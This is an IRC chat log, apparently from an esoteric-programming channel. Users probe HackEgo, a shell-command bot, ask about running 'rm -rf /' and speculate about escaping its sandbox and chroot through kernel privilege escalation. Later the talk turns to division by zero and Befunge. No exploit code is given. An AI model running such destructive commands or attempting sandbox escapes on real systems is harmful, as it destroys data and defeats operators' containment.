13:33:51 <asiekierka> there we go
13:33:57 <asiekierka> `./test.sh
13:33:58 <HackEgo> No output.
13:34:13 <asiekierka> `ls
13:34:14 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.16082
13:34:33 <asiekierka> `cd / && ls
13:34:34 <HackEgo> No output.
13:34:40 <asiekierka> `run cd / && ls
13:34:40 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
13:34:49 <asiekierka> `run cd /etc && ls
13:34:50 <HackEgo> alternatives
13:34:58 <asiekierka> `cd /lib && ls
13:34:59 <HackEgo> No output.
13:35:04 <asiekierka> `run cd /lib && ls
13:35:05 <HackEgo> cpp \ firmware \ init \ ld-2.9.so \ ld-linux-x86-64.so.2 \ libBrokenLocale-2.9.so \ libBrokenLocale.so.1 \ libSegFault.so \ libacl.so.1 \ libacl.so.1.1.0 \ libanl-2.9.so \ libanl.so.1 \ libattr.so.1 \ libattr.so.1.1.0 \ libblkid.so.1 \ libblkid.so.1.1.0 \ libbsd.so.0 \ libbsd.so.0.1.6 \ libbz2.so.1 \ libbz2.so.1.0
13:35:22 <asiekierka> hmm, is it so sure that this is actually secure
13:35:28 <alise> It is absolutely secure.
13:35:39 <asiekierka> Even if I do `run rm -rf /
13:35:46 <alise> If you break out of the plash sandbox, which overrides every single system call, you will find yourself within an empty chroot.
13:35:56 <alise> From which you then must find a vulnerability in the Linux kernel to escape.
13:36:00 <alise> Good luck.
13:36:16 <alise> asiekierka: One, all changes are revisioned. Two, you can't delete anything that isn't yours.
13:36:18 <alise> `ls
13:36:18 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.16399
13:36:26 <alise> That stuff's ours.
13:36:31 <alise> If you remove it, we'll put it back in one command.
13:36:32 <alise> `help
13:36:33 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
13:36:36 <asiekierka> `run cd .. && ls
13:36:37 <HackEgo> hackenv.16464
13:36:41 <asiekierka> `run cd ../.. && ls
13:36:42 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
13:36:47 <asiekierka> `run cd /tmp && ls
13:36:48 <HackEgo> hackenv.16547
13:36:51 <asiekierka> okay...
13:37:00 <alise> `id
13:37:01 <HackEgo> uid=1856920 gid=1856920
13:37:02 <alise> `id
13:37:03 <HackEgo> uid=1642345 gid=1642345
13:37:05 <asiekierka> `run mkdir /home
13:37:05 <alise> New user each time.
13:37:06 <HackEgo> No output.
13:37:15 <asiekierka> `run cd / && ls
13:37:16 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
13:37:22 <asiekierka> wait, it already existed
13:37:25 <asiekierka> gah, i'm stupid
13:37:28 <asiekierka> `run cd /home && ls
13:37:29 <HackEgo> hackbot
13:37:42 <asiekierka> `mkdir /home/asiekierka && cd /home && ls /home
13:37:43 <HackEgo> No output.
13:37:48 <asiekierka> `run mkdir /home/asiekierka && cd /home && ls
13:37:49 <HackEgo> No output.
13:37:55 <asiekierka> `run mkdir /home/asiekierka
13:37:56 <HackEgo> No output.
13:37:58 <asiekierka> `run cd /home && ls
13:37:59 <HackEgo> hackbot
13:38:03 <asiekierka> ...I don't like you.
13:38:06 <asiekierka> `run cd /home/hackbot && ls
13:38:07 <HackEgo> hackbot.hg
13:38:38 <asiekierka> `run cd $PWD && ls
13:38:39 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.17038
13:38:44 <asiekierka> Oooooookaay...
13:38:45 <alise> cd $PWD; how pointless.
13:38:51 <asiekierka> You're angering me, HackEgo
13:39:08 <alise> try 2>&1 after each command
13:39:10 <alise> to see errors
13:39:17 <alise> `run mkdir /home/asiekierka 2>&1 && cd /home && ls
13:39:18 <HackEgo> /bin/mkdir: cannot create directory `/home/asiekierka': Permission denied
13:39:22 <asiekierka> Oooooh
13:39:26 <asiekierka> not shiny.
13:39:29 <MissPiggy> sh <( cat 'cd $PWD' )
13:39:35 <asiekierka> `run cd /lib && ls
13:39:36 <HackEgo> cpp \ firmware \ init \ ld-2.9.so \ ld-linux-x86-64.so.2 \ libBrokenLocale-2.9.so \ libBrokenLocale.so.1 \ libSegFault.so \ libacl.so.1 \ libacl.so.1.1.0 \ libanl-2.9.so \ libanl.so.1 \ libattr.so.1 \ libattr.so.1.1.0 \ libblkid.so.1 \ libblkid.so.1.1.0 \ libbsd.so.0 \ libbsd.so.0.1.6 \ libbz2.so.1 \ libbz2.so.1.0
13:39:42 <alise> MissPiggy: a file called cd $PWD?
13:40:07 <asiekierka> `run cd / && ls
13:40:08 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
13:40:09 <MissPiggy> alise, http://simple.wikipedia.org/wiki/Fundamental_theorem_of_arithmetic
13:40:11 <asiekierka> `run cd /lib64 && ls
13:40:12 <HackEgo> cpp \ firmware \ init \ ld-2.9.so \ ld-linux-x86-64.so.2 \ libBrokenLocale-2.9.so \ libBrokenLocale.so.1 \ libSegFault.so \ libacl.so.1 \ libacl.so.1.1.0 \ libanl-2.9.so \ libanl.so.1 \ libattr.so.1 \ libattr.so.1.1.0 \ libblkid.so.1 \ libblkid.so.1.1.0 \ libbsd.so.0 \ libbsd.so.0.1.6 \ libbz2.so.1 \ libbz2.so.1.0
13:40:34 <alise> "The Fundamental theorem of arithmethic (also called the unique factorization theorem) is a theorem of number theory. The theorem says that every positive integer greater than 1 can be written as a product of prime numbers (or the integer is itself a prime number)."
13:40:39 <alise> yes, that's absolutely simple english /rolleyes
13:41:58 <asiekierka> `run uname -r
13:41:59 <HackEgo> 2.6.26-1-xen-amd64
13:42:09 <asiekierka> Yay, old linux kernel versions!
13:42:22 <fizzie> libBrokenLocale and libSegFault, the best libraries evar. It's too bad they're not exactly what it says on the tin (tvtropes ref); libBrokenLocale (as far as I can tell) doesn't break locales, and libSegFault doesn't cause segfaults.
13:43:42 <alise> http://pastie.org/849736.txt?key=mp48bw1mgnnh2sbcrtayq an actually simple rewrite of the start of that article
13:44:05 <alise> I guess it depends whether the audience is someone who knows Simple English and no english maths terminology or someone who knows Simple English and english maths terminology
13:44:05 <asiekierka> Guys, a theoretical question
13:44:09 <alise> but I imagine the latter is quite rare
13:44:26 <asiekierka> If I would in fact find a working linux kernel vulnerability (the chance being 1:infinity in our current reality), what would happen?
13:44:34 <asiekierka> (I mean, and used it on HackEgo)
13:44:38 <alise> Well, you can't.
13:44:45 <alise> First you'd have to escape the plash sandbox (VERY hard).
13:44:48 <alise> Then you'd have to use the exploit.
13:45:06 <asiekierka> what if it theoretically happened?
13:45:10 <alise> So you'd need to find a serious vulnerability in Plash (very unlikely), and then a serious vulnerability in Linux's chroot code (almost impossible).
13:45:25 <alise> asiekierka: Then you would find yourself on Gregor's system, as a user with no privileges. All you could do would be to delete HackEgo.
13:45:40 <alise> If you then found a Linux exploit that let you elevate to root, you would then be able to wipe out Gregor's VPS. He probably has backups.
13:45:52 <asiekierka> So nothing would really happen except I'd waste time and get banned?
13:45:59 <alise> Yep.
13:46:11 <asiekierka> And HackEgo would disappear?
13:46:32 <alise> Until the backup was restored; so a few hours.
13:46:37 <alise> It'd probably be set to ignore you afterwards.
13:52:41 <alise> Bah, why isn't anyone interesting online. :P
13:52:53 <fizzie> I don't think you need a vulnerability exactly in the chroot code, you just need a local privilege escalation so that you get root inside it; that thing's not supposed to hold raptors, after all. Still, a combination of plash and linux vulnerabilities isn't exactly trivial, and really, getting access to someone's virtual server can't be worth the trouble.
13:52:54 <asiekierka> Bah, why can't I do anything interesting in Hack(gr)Ego(r)
13:53:54 <alise> Linux local privilege escalation: Even three-year-olds can do it
13:54:04 <alise> A vulnerability in chroot code is more likely than privilege escalation
13:54:13 <alise> But then you'll only be a useless user. But still. It's the outer VPS.
13:54:22 <alise> You could use up all his disk space if he hasn't set a quota (he probably has, though).
13:54:35 <alise> You could jam his network, though you could do that from HackEgo anyway. Pointless, though.
13:54:36 <asiekierka> If he had a Mac, I could run Lose/Lose on it maybe
13:56:26 <alise> "The Royal Standard is never flown at half-mast, as the Sovereign never dies (the new monarch immediately succeeds his or her predecessor)."
13:56:45 <alise> THE QUEEN: Literally immortal
13:57:19 <fizzie> alise: So could you design a faster-than-light information-transfer system based on killing royalty?
13:57:35 <alise> :D
13:58:09 <alise> A. The Queen has four Corgis – Linnet, Monty, Holly, Willow. She also has four Dorgis (cross-breed of Dachshund and Corgi) Cider, Berry, Candy, Vulcan.
13:58:12 <alise> The Queen has a dog called Vulcan.
13:59:24 <asiekierka> anyone knows HackEgo's IP? Just wondering
13:59:29 <alise> whois
14:00:13 <asiekierka> ugh
14:00:18 <asiekierka> i need longer output from HackEgo
14:01:12 <asiekierka> Anyone has any fun idea
14:02:09 <fizzie> Wasn't there some DCC thing, or was that a different bot? Do you remember, fungot?
14:02:10 <fungot> fizzie: an elven cloak: the hitchhiker's guide to the moonlight and the cimmerian. they are found in many places, not surprisingly, are large, dark shape rose from the chaos and gave it to open locked doors.
14:02:30 <asiekierka> alise?
14:03:05 <alise> that's EgoBot
14:03:10 <alise> or maybe HackEgo does it too
14:03:48 <asiekierka> HackEgo Seems To Be Failing
14:03:55 <asiekierka> HESTOBEF
14:04:16 <asiekierka> i'm trying to compile something and ./configure just won't work
14:09:35 <MissPiggy> alise I just got my highest upvoted comment on reddit ever
14:09:53 <alise> MissPiggy: ah, -649 points!
14:09:55 <alise> you're improving! :D
14:10:01 <asiekierka> What?
14:10:04 <asiekierka> what -649 points
14:11:54 <MissPiggy> http://www.reddit.com/r/math/comments/b81mh/what_is_the_style_of_hat_worn_by_david_hilbert_in/
14:11:57 <MissPiggy> this is making me lol
14:12:01 <MissPiggy> "Hilbert's Epsilon Hat.
14:12:01 <MissPiggy> "
14:12:34 <MissPiggy> "My mom wears one when she gardens. I'm sure you could borrow it.
14:12:35 <MissPiggy> "
14:18:01 <MissPiggy> http://kr.img.blog.yahoo.com/ybi/1/9d/96/know_blog/folder/3/img_3_211_3?1141364520.jpg
15:11:06 -!- asiekierk has joined.
15:11:43 -!- asiekierka has quit (Ping timeout: 245 seconds).
15:15:23 -!- lifthrasiir has quit (Ping timeout: 246 seconds).
15:17:15 -!- lifthrasiir has joined.
15:25:48 -!- lereah_ has quit (Quit: Leaving).
15:30:34 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
15:31:48 -!- Sgeo__ has joined.
15:33:56 -!- cpressey has joined.
15:35:03 -!- Sgeo_ has quit (Ping timeout: 268 seconds).
15:45:12 -!- kar8nga has joined.
15:49:55 -!- Asztal has joined.
16:02:26 -!- dev_squid has joined.
16:15:59 -!- cpressey has quit (Ping timeout: 276 seconds).
16:20:36 <alise> MissPiggy: I'm writing that thing i said i would explaining why files suck
16:21:04 <MissPiggy> good
16:23:38 -!- oerjan has joined.
16:24:43 <alise> it will be long
16:26:09 -!- cpressey has joined.
16:26:23 <oerjan> <puzzlet> all of these just to reduce angular momentum by itself?
16:26:30 -!- tombom_ has joined.
16:26:40 <oerjan> angular momentum is a conserved quality. hth.
16:27:20 <oerjan> so an earthquake couldn't change it, since that's just internal to the earth
16:28:33 <scarf> oh, yes
16:28:36 -!- tombom has quit (Ping timeout: 260 seconds).
16:29:10 <oerjan> what changes iirc is the moment of inertia, determined by the mass distribution. and that combined with angular momentum changing the rotation and axis.
16:29:28 <oerjan> *changes
16:31:58 <oerjan> <fizzie> The word-pair "combat-wombat" keeps going round my head.
16:32:06 <oerjan> that sounds somewhat awkward
16:32:53 -!- scarf has quit (Remote host closed the connection).
16:34:17 <alise> Combat Wombat; that could be the latest Pokémon ripoff.
16:34:56 <alise> Kombatto Wombatto
16:35:00 <alise> *Kombattu Wombatto
16:37:09 <Asztal> You mean Battletoads rip-off
16:39:56 <alise> :D
16:40:04 <alise> Combat Wombat vs. Battle Toad
16:40:08 <alise> vs. Altercation Albatross
16:47:50 <alise> MissPiggy: almost finished the article
16:52:28 <oerjan> <alise> If you break out of the plash sandbox, which overrides every single system call, you will find yourself within an empty chroot.
16:52:38 <oerjan> it's the matrix!
16:54:30 <alise> MissPiggy: okay, it's done
16:54:31 <alise> more or less
16:54:55 <alise> Sgeo__: ping
17:12:46 <pikhq> oerjan: Pretty much.
17:13:22 <pikhq> コンバット・ウァンバット!
17:13:44 <alise> Sgeo__: pingping
17:13:54 <alise> pikhq: do you think files are good?
17:13:54 <oerjan> i find your japanese questionable
17:14:03 <oerjan> as in, i just see question marks.
17:15:02 <pikhq> oerjan: Hah.
17:15:22 <pikhq> alise: I think they're a sign of a poor type system in the OS.
17:15:32 <alise> Good!
17:15:35 <alise> Then you will like my article.
17:15:44 <alise> Now if only I had somewhere to put it; I haven't registered usys.org yet.
17:15:50 <pikhq> I mean, really? An associative array of chars?
17:15:54 <pikhq> Erm.
17:15:59 <pikhq> Associative array of char*s.
17:16:36 <oerjan> don't let your characters associate with arrays
17:17:02 <alise> >_<
17:18:40 <alise> pikhq: Guess the language:
17:18:44 <alise> real :: answer = 42
17:18:57 <pikhq> ehird.
17:18:59 <alise> Fortran 90.
17:19:02 <alise> Seriously.
17:19:21 <pikhq> ...
17:20:03 <alise> yeah.
17:21:34 <alise> Sooo.
17:42:34 -!- Gregor has joined.
17:43:55 <alise> Hi Gregor.
17:48:00 -!- augur has quit (Ping timeout: 256 seconds).
17:49:22 -!- kar8nga has quit (Remote host closed the connection).
17:50:19 -!- augur has joined.
17:50:27 -!- oerjan has quit (Quit: leaving).
17:59:42 -!- jcp has joined.
18:03:33 <pikhq> Hail.
18:09:13 -!- kar8nga has joined.
18:10:31 -!- augur has quit (Ping timeout: 265 seconds).
18:16:29 <alise> I started defining an extension of the rationals with n/0, then I ended up having to define 0/n as special too. Now I'm having to define 0 =/= -0.
18:16:36 <alise> I have a sneaking suspicion this is turning into something that isn't anything at all.
18:16:51 <MissPiggy> 0/0 IS EVIL
18:17:37 <alise> I was going to have 0/0 as a special case, I think.
18:17:53 <alise> As a separate weirdtional where 0*(0/0) = 0.
18:19:46 -!- augur has joined.
18:28:35 <MissPiggy> alise ... why
18:29:03 <alise> Because I was going to have a consistent system with 0/n, dammit, no matter what I had to do!
18:33:13 <MissPiggy> BREAKING NEWS: INCREDIBLE COMPUTER SCIENTIST EHIRD CRACKS TEN MILLION YEAR PROBLEM
18:33:29 <MissPiggy> <http://en.wikipedia.org/wiki/Nullity>
18:34:35 <alise> Shaddap :)
18:35:50 <pikhq> Hey, "nullity" can be defined in an axiomatic system.
18:35:52 <alise> For one, mine has 0*(n/0) = n.
18:36:07 <alise> And 0*(0/n) = 1, but that's an entirely separate issue :P
18:36:08 <pikhq> This guy just claims that he had added it to the ordinary one used for arithmetic.
18:36:17 <pikhq> Which is... Bullshit.
18:36:36 <pikhq> Erm.
18:36:41 <pikhq> Not added it, "discovered" it.
18:36:46 <pikhq> By making a symbol up for it.
18:38:36 <MissPiggy> alise admit it :!
18:39:08 <MissPiggy> trying to reconsile division by zero is as braindead as these people trying to 'hide from the clutches of godelian incompleteness' it's just fucking stupid
18:39:53 <alise> It's also fun.
18:39:56 <alise> I'm not doing it seriously.
18:40:07 <alise> I'm doing it to see what crazy, crazy things you have to entail to get it working.
18:43:56 -!- kar8nga has quit (Remote host closed the connection).
18:47:09 <alise> "mathematical arithmetic is sociologically invalid" —discoverer of Nullity
18:47:22 <lament> it's 100% true
18:50:04 <Gregor> Yay NULLITY
18:55:06 <MissPiggy> -1*-1 = 1 is EVIL and StUPID
19:01:22 <dev_squid> Hey guys.
19:01:30 <MissPiggy> ohiho
19:02:41 <Gregor> -1 * -1 is the TIME CUBE
19:02:59 <MissPiggy> yes
19:05:22 <Gregor> My cat is being really weird.
19:05:42 <Gregor> She'll sleep on my bed for a while, then get up and meow at me. I look at her, and she goes back to sleep.
19:07:16 <cpressey> 0/0 = pi
19:07:17 <dev_squid> I want to learn an esolang that's fun and makes programming a challenge. Any suggestions?
19:07:19 <dev_squid> :)
19:07:38 <Gregor> BrainFuck then Befunge then 2L then Glass :P
19:07:43 -!- jcp has changed nick to javawizard.
19:07:52 <dev_squid> I've been meaning to try befunge.
19:07:52 <cpressey> dev_squid: Give us some desired weights for "fun" and "challenge"
19:08:05 -!- javawizard has changed nick to javawizard2539.
19:08:12 <alise> dev_squid: Agda
19:08:13 <cpressey> Befunge, somewhat more fun, somewhat less challenge.
19:08:16 <dev_squid> Gregor, I'm pretty don with BF.
19:08:25 <alise> cpressey: Self-promotion ey?!
19:08:33 <alise> We'll have none of that round 'ese parts! :P
19:08:35 -!- javawizard2539 has changed nick to jcp.
19:08:48 <Gregor> FYB!
19:08:52 <cpressey> alise: Pft, it's "not challenging enough" for most here, I would guess.
19:08:57 <alise> cpressey: Well. Yeah.
19:09:02 <pikhq> Glass is a pretty decent language.
19:09:18 <Gregor> Any language with the Gregor Richards stamp of approval! :P
19:09:26 <pikhq> Gregor: Hahah.
19:09:42 <alise> Glass is basically the object-lambda calculus.
19:09:51 <pikhq> Yeah, pretty much.
19:09:56 <Gregor> But with classes.
19:09:56 <dev_squid> Damn, esolangs've been around for a damn long time.
19:10:00 <Gregor> Sort of
19:10:02 <cpressey> Also, I only mentioned it because dev_squid mentioned it first.
19:10:10 <pikhq> Oh, INTERCAL. :)
19:10:23 <dev_squid> cpressey, hey, if Befunge is fun, I'll try it. :)
19:11:02 <cpressey> Also on the "lighter" side is Kipple.
19:11:22 <cpressey> On the "heavier" side, why not try Malbolge?
19:11:24 <dev_squid> Oh balls, Befunge looks interesting. :D
19:12:22 <dev_squid> Hahah! I actually read about Malbolge before; I'm looking for a challenge, but that's a little outside of the definition. That is, impossible. :)
19:12:44 <alise> Don't let cpressey seduce you
19:12:54 <alise> He gave us so many ambiguities in the -98 spec we're still suffering :P
19:13:44 <Gregor> TWELVE YEARS LATER
19:15:08 <cpressey> Not my fault that no one on the committee said "this needs to be more rigorously defined". People preferred to complain about things that really matter, like that my HTML was missing </p> tags.
19:15:37 <alise> :-D
19:15:52 <cpressey> Ooh
19:15:54 <cpressey> Homespring
19:16:04 <cpressey> that was the one i couldn't remember the name of.
19:23:19 <dev_squid> cpressey.
19:23:35 <alise> [[The sequences ‘ . ’ and ‘. .’ are required to cause a causality paradox in all con-
19:23:35 <alise> forming implementations. As such, there are no conforming implementations.]]
19:23:54 <dev_squid> cpressey, Befunge is awesomesauce. Where'd you get the idea?
19:24:06 <alise> Biota; telepathically :P
19:24:50 <cpressey> Hah, no.
19:24:56 <cpressey> AmigaVision
19:24:59 <cpressey> and BASIC
19:25:12 <cpressey> replacing "goto 100" with an ASCII arrow pointing to line 100.
19:25:32 <cpressey> And was exposed to FORTH at the time.
19:26:30 <cpressey> Biota, for all I can tell, is a lot closer to what I'd call a cellular automaton, though not exactly cellular.
19:27:51 <dev_squid> cpressey, did you write an interpreter for Befunge, or didja just idealize it?
19:28:56 <cpressey> dev_squid: I wrote an interpreter for the first version (-93). Being not so much into writing specs at the time, it sort of defined the language, alongside some crude documentation.
19:29:31 <dev_squid> cpressey, what did you write it in?
19:29:32 <cpressey> For -98 I compiled the spec with input from the Befunge mailing list at the time, and wrote a very buggy implementation based on it.
19:29:42 <dev_squid> Oh cool.
19:29:43 <cpressey> dev_squid: C (both of them.)
19:30:02 <dev_squid> I write all my interpreter prototypes in assembly. :)
19:30:02 <cpressey> Um, it was compiled with DICE C on an Amiga 500, originally...
19:30:07 <dev_squid> It's tedious. :|
19:31:00 <cpressey> Assembly's fun, but I tend not to implement languages in it often. I guess Shelta is one, and I did try to implement Befunge in x86 once.
19:31:17 <dev_squid> "Try". LOL.
19:32:05 <cpressey> Yeah, it was an implmentation of Befunge-93 that I *think* *mostly* works, but I remember it failing badly on some example sources.
19:32:33 <cpressey> The executable was only like 4K or something in size though.
19:32:47 <dev_squid> Yep. I remember trying to make a simple BF interpreter in x86 Asm but then failing epicly. To this day, I still don't know what I was doing wrong. >:(
19:33:01 <dev_squid> Yeah.
19:34:03 <dev_squid> Umm...there's this guy that made a 166-byte BF compiler.
19:34:19 <Gregor> For what?
19:34:37 <dev_squid> Which is kittenpunchingly smaller than the 256-byte compiler by Meuller.
19:34:42 <dev_squid> Brainfuck.
19:34:50 <Gregor> For what /system/ X_X
19:34:57 <dev_squid> Linux x86.
19:34:59 <cpressey> TO WHAT END
19:35:14 <dev_squid> (http://www.muppetlabs.com/~breadbox/software/tiny/bf.asm.txt)
19:36:42 <dev_squid> I'm pretty sure it violates every single ELF standard in existence, but it *is* 166 bytes.
19:37:17 <alise> Yeah, ~breadbox is <3.
19:37:22 <dev_squid> I love it.
19:37:32 <alise> He also wrote the CGI INTERCAL game.
19:37:54 <alise> And http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
19:37:57 <alise> the tiniest ELF executable
19:44:47 -!- Asztal has quit (Ping timeout: 252 seconds).
19:47:32 <dev_squid> cpressey, Befunge interpreter. Where?
19:48:05 -!- pikhq has quit (Read error: Connection reset by peer).
19:49:04 <cpressey> dev_squid: I dunno, there seem to be lots to choose from. I've heard a lot good about http://sourceforge.net/projects/cfunge/
19:49:41 <cpressey> You probably have to build it from that tarball, presumably that is not a problem.
19:50:52 -!- pikhq has joined.
19:51:09 <pikhq> Screw you, X.
19:52:00 <AnMaster> cpressey, Needs POSIX
19:52:05 <AnMaster> (but I assume that is no issue)
19:52:16 <AnMaster> (oh and, it doesn't do 93 really, only 98)
19:56:19 -!- Asztal has joined.
19:57:55 -!- MigoMipo has joined.
19:59:32 <dev_squid> cpressey, how does Befunge handle negative numbers?
20:00:39 <Gregor> Negative numbers are useless.
20:01:10 <cpressey> dev_squid: They're like any other numbers in the language... except negative.
20:01:26 <alise> :-D
20:03:04 <Gregor> They're stored in threes-complement
20:03:51 <AnMaster> Gregor, that would be implementation defined
20:04:05 <AnMaster> as in, befunge doesn't expose the bit representation like that
20:04:11 <AnMaster> (except using some optional fingerprints)
20:04:11 * Gregor bashes AnMaster's head in with a plastic spork
20:04:18 <AnMaster> Gregor, hard hat
20:04:19 <AnMaster> :P
20:04:43 <Gregor> Doesn't take a particularly hard hat to protect against a plastic spork :P
20:04:48 <AnMaster> Gregor, true
20:04:54 <alise> *Main> 1 // (0 // 0)
20:04:55 <alise> 0 % 0
20:04:55 <alise> *Main> 1 // (0 // 1)
20:04:55 <alise> 1 % 0
20:04:55 <alise> *Main> 1 // (0 // 2)
20:04:56 <alise> 2 % 0
20:04:56 <alise> wat
20:05:08 <AnMaster> alise, is that % as in modulo?
20:05:13 <alise> No, % as in fraction
20:05:15 <AnMaster> ah
20:05:17 <alise> As in x/y
20:05:20 <AnMaster> alise, still. that makes no sense
20:05:23 <AnMaster> 2/0...
20:05:29 <alise> It's the weirdtionals, where division by zero is perfectly acceptable because I said it is.
20:05:36 <alise> Which also leads to fun things such as all 0/n being unique.
20:05:42 <AnMaster> heh
20:05:49 <alise> The "real 0" seems to be 0/1, because (n/1)/(0/1) = n/0.
20:06:07 <alise> Apparently (1/2)/0 = 1/0
20:06:11 <alise> Who'da thunk it
20:06:29 <AnMaster> alise, I *somehow* suspect that certain things may break if 0/2 != 0/5 and so on
20:06:34 <AnMaster> I mean, mathematically
20:06:49 <alise> AnMaster: My way of working is: Define something to work. Find a contradiction. Fudge things so that it's no longer a contradiction.
20:06:57 <AnMaster> alise, :D
20:07:01 <alise> I'm losing all sorts of properties of course, addition and multiplication don't even distribute over each other
20:07:26 <AnMaster> alise, oh that follows from 0/x being allowed?
20:07:28 <AnMaster> err
20:07:30 <AnMaster> x/0
20:07:42 <alise> yeah I was finding out the multiplicative inverse for (x/0)s
20:07:51 <alise> 1/(x/0) = swap the two sides = 0/x
20:07:55 <alise> so (0/x)*x = 1
20:08:00 <alise> so we need distinct (0/x) for all x
20:08:07 <AnMaster> ouch
20:08:16 <AnMaster> alise, what is your goal with this
20:08:25 <alise> Make division by zero work.
20:08:32 <AnMaster> ah, good luck
20:09:09 <AnMaster> if you actually made it work sensibly (and in a rigorous way) then you would probably get the Fields medal at least!
20:09:34 <Deewiant> The problem is that the resulting system is not likely to be very usable for anything
20:09:45 <alise> Deewiant: Of course.
20:09:48 <alise> AnMaster: Unlikely.
20:09:48 -!- BlackOut has joined.
20:09:51 -!- MizardX has quit (Read error: Connection reset by peer).
20:09:52 <alise> Distributivity is a rather nice property
20:09:55 <AnMaster> alise, well, depends on how you solve it
20:09:58 <Deewiant> Of course you can define things but since you do lose properties like distributivity of addition it's not really addition any more
20:09:58 <AnMaster> alise, and yes indeed
20:10:09 <Deewiant> And hence not very Fields-worthy, it's just another formal system
20:10:11 -!- MizardX has joined.
20:10:36 -!- BlackOut has left (?).
20:10:39 <uorygl> Hey, alise is here.
20:11:07 <alise> yeh
20:11:27 <AnMaster> Deewiant, hm, don't you lose distributivity somewhere in the Cayley–Dickson construction?
20:11:38 <AnMaster> or was that one of the few properties you didn't loose?
20:12:24 <uorygl> Does that mean alise is out of Britain?
20:12:30 <dev_squid> cpressey, yay! My first Befunge program...sort of. I modified an example. :)
20:12:34 <dev_squid> cpressey, http://pastie.org/850440
20:12:35 <Deewiant> The problem here is that you lose distributivity over addition of fractions, not hypercomplex numbers :-P
20:12:49 <AnMaster> Deewiant, true
20:12:56 <alise> uorygl: No.
20:13:02 <AnMaster> alise, oh wait, this isn't even a ring any more is it?
20:13:02 <alise> Just that a bigger crisis is overriding atm.
20:13:06 <alise> AnMaster: ^_^
20:13:20 <uorygl> Oh, a bigger crisis. Hmm.
20:14:32 <AnMaster> alise, if you managed to solve it without loosing distributivity then you would get the Fields medal I guess ;P
20:14:48 <alise> I'd win the Pigs Can Fly medal because it'd be contradictory and we could derive anything.
20:14:51 <Deewiant> Unless you also lose associativity etc
20:15:06 <Deewiant> I want a Pigs Can Fly medal
20:15:13 <AnMaster> Deewiant, me too!
20:15:32 <Deewiant> What do I need to do to get one?
20:16:00 <alise> The n being irrelevant in (m/n)/0 disturbs me.
20:16:08 <Deewiant> heh
20:16:10 <AnMaster> Deewiant, do something that over-qualifies you for the Ig Nobel price?
20:16:32 <Deewiant> Meh, too much work
20:19:12 <dev_squid> cpressey, would you recommend (http://www.ashleymills.com/?q=befunge_applet_lite)? Most programs it's running makes it throw a "memory cell out of range" error when it hits a 'p'.
20:20:00 <Deewiant> Are you sure you're p'ing into the 80x25 area?
20:20:02 -!- Azstal has joined.
20:20:19 <Deewiant> If you are, then I definitely wouldn't recommend it because it's buggy :-P
20:22:21 <alise> *Main> (1//0)
20:22:22 <alise> 1 % 0
20:22:22 <alise> *Main> (1//0)+(0//0)
20:22:22 <alise> 2 % 0
20:22:28 <dev_squid> cpressey, were you aware that there existed such a website as "www.quote-egnufeb-quote-greaterthan-colon-hash-comma-underscore-at.info"?
20:22:48 <alise> The worst thing is, I'm not even sure that doesn't make sense.
20:23:06 -!- Asztal has quit (Ping timeout: 265 seconds).
20:23:25 <AnMaster> dev_squid, I'm pretty sure he does know as we discussed a program on there recently
20:23:28 <uorygl> It makes sense if and only if it's useful or makes sense.
20:23:35 <AnMaster> uorygl, :D
20:25:11 <alise> uorygl: without it I can't seem to stick to one multiplicative identity :(
20:25:46 -!- MaXo2 has joined.
20:26:07 -!- increnaisi has joined.
20:26:09 <uorygl> Whenever you're having trouble doing something, try proving its impossibility.
20:26:15 -!- increnaisi has left (?).
20:26:46 <dev_squid> AnMaster, I didn't know that...anyway, I still can't find a working Befunge interpreter for Win32.
20:26:56 <dev_squid> Might there be an IDE?
20:27:17 <Gregor> WIN32
20:27:18 <Gregor> GET OUT
20:27:19 <Gregor> GET
20:27:19 <Gregor> OUT
20:27:26 <Gregor> We don't want your kind here.
20:27:41 <Gregor> :P
20:27:45 <alise> uorygl: But I don't accept the law of the excluded middle! :P
20:27:51 <dev_squid> Yeah, yeah...I only keep it for the game.
20:27:51 <alise> (Yes, I know, fallacy. Also: Joke.)
20:27:53 <dev_squid> *games
20:27:55 <AnMaster> dev_squid, for windows? No clue
20:27:59 <AnMaster> can't help you there at all
20:27:59 <alise> Constructivism ftw, though.
20:28:06 <Gregor> Such a poor excuse :P
20:28:12 <cpressey> dev_squid: Only recently. (I haven't been involved in Befunge in a long time. I've spent much of my recent time designing weirder, less popular languages.)
20:28:19 <uorygl> Nor do I if the law of the excluded middle is "Every statement has either a proof or a disproof."
20:28:24 <dev_squid> cpressey, like what?
20:28:35 -!- MissPiggy has quit (Quit: Lost terminal).
20:28:55 <Deewiant> dev_squid: If Befunge-98 is fine, my interpreter works on Win32.
20:29:09 <alise> uorygl: LEM = p|(p->false)
20:29:12 <alise> Which, yes.
20:29:27 <AnMaster> <cpressey> Um, it was compiled with DICE C on an Amiga 500, originally... <-- fun. And unexpected.
20:29:44 <dev_squid> Deewiant, what's the difference?
20:30:02 <Deewiant> If you restrict yourself to the Befunge-93 instruction set: not much.
20:30:20 <AnMaster> Deewiant, SGML spaces
20:30:21 <dev_squid> Deewiant, so it's just a superset?
20:30:35 <Deewiant> Division by zero is defined (gives 0), SGML spaces, bigger funge-space
20:30:45 <Deewiant> dev_squid: I said "not much" not "nothing" :-)
20:30:52 <AnMaster> alise, hey! ^
20:31:01 <AnMaster> alise, solved your problem there ;)
20:31:05 <cpressey> dev_squid: Everything >= 1998 on this page: http://catseye.tc/cpressey/languages.html
